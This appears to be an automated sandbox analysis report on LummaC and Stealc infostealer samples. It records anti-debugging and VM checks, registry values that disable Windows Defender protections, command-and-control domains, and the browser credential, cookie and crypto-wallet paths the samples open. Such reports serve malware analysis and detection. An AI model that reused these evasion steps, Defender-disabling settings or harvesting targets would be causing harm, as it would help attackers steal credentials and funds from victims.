Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe

Code function: 3_2_0098750B rdtsc

3_2_0098750B

Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe

Code function: 3_2_0099DB24 sidt fword ptr [esp-02h]

3_2_0099DB24

Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe TID: 5676	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe TID: 5296	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe TID: 6432	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe TID: 5540	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: I8TEVW54DAWA7LANTKTUH8I1LE.exe, I8TEVW54DAWA7LANTKTUH8I1LE.exe, 00000003.00000002.2538537811.0000000000993000.00000040.00000001.01000000.00000006.sdmp, YYVZHLAZ7NPNQKZ17XJO.exe, YYVZHLAZ7NPNQKZ17XJO.exe, 00000004.00000002.2502942715.0000000000448000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: XNtOBQ5NHr.exe, 00000000.00000003.2177598671.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: XNtOBQ5NHr.exe, 00000000.00000003.2177598671.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: XNtOBQ5NHr.exe, 00000000.00000003.2177598671.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: XNtOBQ5NHr.exe, 00000000.00000003.2177598671.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: XNtOBQ5NHr.exe, 00000000.00000003.2177598671.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: XNtOBQ5NHr.exe, 00000000.00000003.2177598671.0000000005CB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: XNtOBQ5NHr.exe, 00000000.00000003.2177598671.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: XNtOBQ5NHr.exe, XNtOBQ5NHr.exe, 00000000.00000003.2258221249.000000000125C000.00000004.00000020.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2228919142.000000000125C000.00000004.00000020.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2146083192.000000000125C000.00000004.00000020.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2385971258.000000000125C000.00000004.00000020.00020000.00000000.sdmp, YYVZHLAZ7NPNQKZ17XJO.exe, 00000004.00000002.2504654866.00000000010A4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: XNtOBQ5NHr.exe, 00000000.00000003.2177598671.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: XNtOBQ5NHr.exe, 00000000.00000003.2177598671.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: XNtOBQ5NHr.exe, 00000000.00000003.2177598671.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: XNtOBQ5NHr.exe, 00000000.00000003.2177598671.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: XNtOBQ5NHr.exe, 00000000.00000003.2177598671.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: XNtOBQ5NHr.exe, 00000000.00000003.2177598671.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: XNtOBQ5NHr.exe, 00000000.00000003.2177598671.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: XNtOBQ5NHr.exe, 00000000.00000003.2177598671.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: XNtOBQ5NHr.exe, 00000000.00000003.2177598671.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: XNtOBQ5NHr.exe, 00000000.00000003.2177598671.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: XNtOBQ5NHr.exe, 00000000.00000003.2177598671.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: XNtOBQ5NHr.exe, 00000000.00000003.2177598671.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: XNtOBQ5NHr.exe, 00000000.00000003.2177598671.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: XNtOBQ5NHr.exe, 00000000.00000003.2229304876.000000000122B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tAGQEmun
Source: XNtOBQ5NHr.exe, 00000000.00000003.2177598671.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: XNtOBQ5NHr.exe, 00000000.00000003.2177598671.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: XNtOBQ5NHr.exe, 00000000.00000003.2177598671.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: XNtOBQ5NHr.exe, 00000000.00000003.2146083192.000000000122B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: k7LI3/tO3N5fTg6lDeiJqi4MAS7Esbo8Rgr24PPlw1+NqMrB9wnLmUEBDqFLv8ribEIDNYvu+xxEBvX39vyHSsy+hcjxTpvQQAAIpE2iwakpBxYmwru2PFkP+eD76s1fja3BwvAIw5AGQEmuVfCR4gEHFCrHoPkGFBq4+rvqyxXa583K/g3In0UGArtNos+vJxACKMW8uC5eC/Dg8ubOUIWjhYG9CdvQHk4opEa8w7UiQhtj0va8MBRdtuf66cZRjKnBw/sAzp9ABAmuR7jBoy8JCy3Ou786WATzo7WtwE3C/4Xh+g3R0nMNB6dKpom9bBtEKsf243xaAPnx+v/CW5CrwMnwDc2QQwkEp0u3yqomAwohwbW/PxRLtuTjrZ8Vs6TByO8NzdBZQBDpSryJ+mIIAiDCvbw0WBf97PjkwFOIpM3F+wDCl0MJG6dGvcqoJEJKbcyu+2QUK/Xy7d/ERJPn2oHkTsScBlZJoEW/xK8oDAEgwre6MVIO9+vz6cBVhqrKwf0Ay5VCBADpA/DOumJaRB3GurAwFjD17fXq0RWd6dyP+gKDyAYNCaRIv8KvIw4IKsywtDNTF/ru8eHNW4mvxMfvD8iUQE5H6UqoifpiIgouzbH5CVcL+OTtrdgbm+fCw71Wg4JNAwinX73brCMEBC7MsrA2Vwr+7vHhwFGCrMzH9gDC0AhODrEN6ImFNgUUIcagvHxLS++j/OGHDcKhycryAMOeRwMPrUCw26QwBQUuyLC+OFQE8+b/5cNZjeeLj/oWg8gGIR6nW7vdpTITPm/+tbUyUxO2/LX0h1KO552P9BzRlEAFArtfus2jIwULLMCztzZfAeTr8u7VUYKsz8m9QIOXXk5R6Wm92a4pFAM9/rW1
Source: XNtOBQ5NHr.exe, 00000000.00000003.2177598671.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: XNtOBQ5NHr.exe, 00000000.00000003.2177598671.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: XNtOBQ5NHr.exe, 00000000.00000003.2177598671.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: XNtOBQ5NHr.exe, 00000000.00000003.2177598671.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: YYVZHLAZ7NPNQKZ17XJO.exe, 00000004.00000002.2504654866.0000000001074000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: XNtOBQ5NHr.exe, 00000000.00000003.2177598671.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: XNtOBQ5NHr.exe, 00000000.00000003.2177598671.0000000005CB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: YYVZHLAZ7NPNQKZ17XJO.exe, 00000004.00000002.2504654866.000000000102E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: XNtOBQ5NHr.exe, 00000000.00000003.2177598671.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: XNtOBQ5NHr.exe, 00000000.00000003.2177598671.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: I8TEVW54DAWA7LANTKTUH8I1LE.exe, 00000003.00000002.2538537811.0000000000993000.00000040.00000001.01000000.00000006.sdmp, YYVZHLAZ7NPNQKZ17XJO.exe, 00000004.00000002.2502942715.0000000000448000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: XNtOBQ5NHr.exe, 00000000.00000003.2177598671.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: XNtOBQ5NHr.exe, 00000000.00000003.2229304876.000000000122B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AGQEmun
Source: XNtOBQ5NHr.exe, 00000000.00000003.2177598671.0000000005CAE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe

Code function: 3_2_0098750B rdtsc

3_2_0098750B

Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: YYVZHLAZ7NPNQKZ17XJO.exe PID: 5176, type: MEMORYSTR

LummaC encrypted strings found

Source: XNtOBQ5NHr.exe, 00000000.00000003.2094917343.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: XNtOBQ5NHr.exe, 00000000.00000003.2094917343.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: XNtOBQ5NHr.exe, 00000000.00000003.2094917343.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: XNtOBQ5NHr.exe, 00000000.00000003.2094917343.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: XNtOBQ5NHr.exe, 00000000.00000003.2094917343.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: XNtOBQ5NHr.exe, 00000000.00000003.2094917343.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: XNtOBQ5NHr.exe, 00000000.00000003.2094917343.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: XNtOBQ5NHr.exe, 00000000.00000003.2094917343.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: XNtOBQ5NHr.exe, 00000000.00000003.2094917343.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sweepyribs.lat

Source: I8TEVW54DAWA7LANTKTUH8I1LE.exe, I8TEVW54DAWA7LANTKTUH8I1LE.exe, 00000003.00000002.2538859314.00000000009D5000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: 8Program Manager
Source: YYVZHLAZ7NPNQKZ17XJO.exe, YYVZHLAZ7NPNQKZ17XJO.exe, 00000004.00000002.2503391114.0000000000497000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YYVZHLAZ7NPNQKZ17XJO.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8TEVW54DAWA7LANTKTUH8I1LE.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: XNtOBQ5NHr.exe, XNtOBQ5NHr.exe, 00000000.00000003.2258221249.000000000125C000.00000004.00000020.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2258081562.0000000001248000.00000004.00000020.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2258081562.000000000122B000.00000004.00000020.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2385971258.000000000125C000.00000004.00000020.00020000.00000000.sdmp, XNtOBQ5NHr.exe, 00000000.00000003.2258221249.000000000124A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: XNtOBQ5NHr.exe PID: 5828, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000004.00000002.2502379431.0000000000081000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2459814389.0000000004DC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2504654866.000000000102E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: YYVZHLAZ7NPNQKZ17XJO.exe PID: 5176, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: XNtOBQ5NHr.exe	String found in binary or memory: Wallets/Electrum-LTC
Source: XNtOBQ5NHr.exe	String found in binary or memory: Wallets/ElectronCash
Source: XNtOBQ5NHr.exe	String found in binary or memory: Wallets/JAXX New Version
Source: XNtOBQ5NHr.exe	String found in binary or memory: window-state.json
Source: XNtOBQ5NHr.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: XNtOBQ5NHr.exe	String found in binary or memory: ExodusWeb3
Source: XNtOBQ5NHr.exe	String found in binary or memory: Wallets/Ethereum
Source: XNtOBQ5NHr.exe, 00000000.00000003.2258081562.000000000122B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: XNtOBQ5NHr.exe, 00000000.00000003.2258081562.000000000122B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\XNtOBQ5NHr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
